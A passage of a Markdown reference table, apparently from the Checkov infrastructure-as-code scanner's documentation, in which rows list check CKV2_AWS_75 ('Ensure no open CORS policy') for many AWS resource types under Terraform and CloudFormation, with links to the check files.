[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2604 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_model                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2605 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_route                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2606 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_route                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2607 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_route_response                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2608 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_route_response                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2609 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_stage                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2610 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_stage                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2611 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_vpc_link                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2612 | CKV2_AWS_75              | resource                         | aws_apigatewayv2_vpc_link                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2613 | CKV2_AWS_75              | resource                         | aws_app_cookie_stickiness_policy                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2614 | CKV2_AWS_75              | resource                         | aws_app_cookie_stickiness_policy                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2615 | CKV2_AWS_75              | resource                         | aws_appautoscaling_policy                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2616 | CKV2_AWS_75              | resource                         | aws_appautoscaling_policy                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2617 | CKV2_AWS_75              | resource                         | aws_appautoscaling_scheduled_action                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2618 | CKV2_AWS_75              | resource                         | aws_appautoscaling_scheduled_action                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2619 | CKV2_AWS_75              | resource                         | aws_appautoscaling_target                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2620 | CKV2_AWS_75              | resource                         | aws_appautoscaling_target                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2621 | CKV2_AWS_75              | resource                         | aws_appconfig_application                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2622 | CKV2_AWS_75              | resource                         | aws_appconfig_application                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2623 | CKV2_AWS_75              | resource                         | aws_appconfig_configuration_profile                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2624 | CKV2_AWS_75              | resource                         | aws_appconfig_configuration_profile                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2625 | CKV2_AWS_75              | resource                         | aws_appconfig_deployment                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2626 | CKV2_AWS_75              | resource                         | aws_appconfig_deployment                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2627 | CKV2_AWS_75              | resource                         | aws_appconfig_deployment_strategy                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2628 | CKV2_AWS_75              | resource                         | aws_appconfig_deployment_strategy                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2629 | CKV2_AWS_75              | resource                         | aws_appconfig_environment                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2630 | CKV2_AWS_75              | resource                         | aws_appconfig_environment                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2631 | CKV2_AWS_75              | resource                         | aws_appconfig_extension                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2632 | CKV2_AWS_75              | resource                         | aws_appconfig_extension                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2633 | CKV2_AWS_75              | resource                         | aws_appconfig_extension_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2634 | CKV2_AWS_75              | resource                         | aws_appconfig_extension_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2635 | CKV2_AWS_75              | resource                         | aws_appconfig_hosted_configuration_version                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2636 | CKV2_AWS_75              | resource                         | aws_appconfig_hosted_configuration_version                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2637 | CKV2_AWS_75              | resource                         | aws_appfabric_app_authorization                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2638 | CKV2_AWS_75              | resource                         | aws_appfabric_app_authorization                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2639 | CKV2_AWS_75              | resource                         | aws_appfabric_app_authorization_connection                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2640 | CKV2_AWS_75              | resource                         | aws_appfabric_app_authorization_connection                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2641 | CKV2_AWS_75              | resource                         | aws_appfabric_app_bundle                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2642 | CKV2_AWS_75              | resource                         | aws_appfabric_app_bundle                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2643 | CKV2_AWS_75              | resource                         | aws_appfabric_ingestion                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2644 | CKV2_AWS_75              | resource                         | aws_appfabric_ingestion                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2645 | CKV2_AWS_75              | resource                         | aws_appfabric_ingestion_destination                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2646 | CKV2_AWS_75              | resource                         | aws_appfabric_ingestion_destination                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2647 | CKV2_AWS_75              | resource                         | aws_appflow_connector_profile                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2648 | CKV2_AWS_75              | resource                         | aws_appflow_connector_profile                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2649 | CKV2_AWS_75              | resource                         | aws_appflow_flow                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2650 | CKV2_AWS_75              | resource                         | aws_appflow_flow                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2651 | CKV2_AWS_75              | resource                         | aws_appintegrations_data_integration                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2652 | CKV2_AWS_75              | resource                         | aws_appintegrations_data_integration                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2653 | CKV2_AWS_75              | resource                         | aws_appintegrations_event_integration                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2654 | CKV2_AWS_75              | resource                         | aws_appintegrations_event_integration                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2655 | CKV2_AWS_75              | resource                         | aws_applicationinsights_application                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2656 | CKV2_AWS_75              | resource                         | aws_applicationinsights_application                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2657 | CKV2_AWS_75              | resource                         | aws_appmesh_gateway_route                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2658 | CKV2_AWS_75              | resource                         | aws_appmesh_gateway_route                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2659 | CKV2_AWS_75              | resource                         | aws_appmesh_mesh                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2660 | CKV2_AWS_75              | resource                         | aws_appmesh_mesh                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2661 | CKV2_AWS_75              | resource                         | aws_appmesh_route                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2662 | CKV2_AWS_75              | resource                         | aws_appmesh_route                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2663 | CKV2_AWS_75              | resource                         | aws_appmesh_virtual_gateway                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2664 | CKV2_AWS_75              | resource                         | aws_appmesh_virtual_gateway                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2665 | CKV2_AWS_75              | resource                         | aws_appmesh_virtual_node                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2666 | CKV2_AWS_75              | resource                         | aws_appmesh_virtual_node                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2667 | CKV2_AWS_75              | resource                         | aws_appmesh_virtual_router                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2668 | CKV2_AWS_75              | resource                         | aws_appmesh_virtual_router                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2669 | CKV2_AWS_75              | resource                         | aws_appmesh_virtual_service                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2670 | CKV2_AWS_75              | resource                         | aws_appmesh_virtual_service                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2671 | CKV2_AWS_75              | resource                         | aws_apprunner_auto_scaling_configuration_version                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2672 | CKV2_AWS_75              | resource                         | aws_apprunner_auto_scaling_configuration_version                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2673 | CKV2_AWS_75              | resource                         | aws_apprunner_connection                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2674 | CKV2_AWS_75              | resource                         | aws_apprunner_connection                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2675 | CKV2_AWS_75              | resource                         | aws_apprunner_custom_domain_association                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2676 | CKV2_AWS_75              | resource                         | aws_apprunner_custom_domain_association                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2677 | CKV2_AWS_75              | resource                         | aws_apprunner_default_auto_scaling_configuration_version                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2678 | CKV2_AWS_75              | resource                         | aws_apprunner_default_auto_scaling_configuration_version                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2679 | CKV2_AWS_75              | resource                         | aws_apprunner_deployment                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2680 | CKV2_AWS_75              | resource                         | aws_apprunner_deployment                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2681 | CKV2_AWS_75              | resource                         | aws_apprunner_observability_configuration                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2682 | CKV2_AWS_75              | resource                         | aws_apprunner_observability_configuration                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2683 | CKV2_AWS_75              | resource                         | aws_apprunner_service                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2684 | CKV2_AWS_75              | resource                         | aws_apprunner_service                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2685 | CKV2_AWS_75              | resource                         | aws_apprunner_vpc_connector                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2686 | CKV2_AWS_75              | resource                         | aws_apprunner_vpc_connector                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2687 | CKV2_AWS_75              | resource                         | aws_apprunner_vpc_ingress_connection                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2688 | CKV2_AWS_75              | resource                         | aws_apprunner_vpc_ingress_connection                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2689 | CKV2_AWS_75              | resource                         | aws_appstream_directory_config                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2690 | CKV2_AWS_75              | resource                         | aws_appstream_directory_config                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2691 | CKV2_AWS_75              | resource                         | aws_appstream_fleet                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2692 | CKV2_AWS_75              | resource                         | aws_appstream_fleet                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2693 | CKV2_AWS_75              | resource                         | aws_appstream_fleet_stack_association                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2694 | CKV2_AWS_75              | resource                         | aws_appstream_fleet_stack_association                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2695 | CKV2_AWS_75              | resource                         | aws_appstream_image_builder                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2696 | CKV2_AWS_75              | resource                         | aws_appstream_image_builder                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | 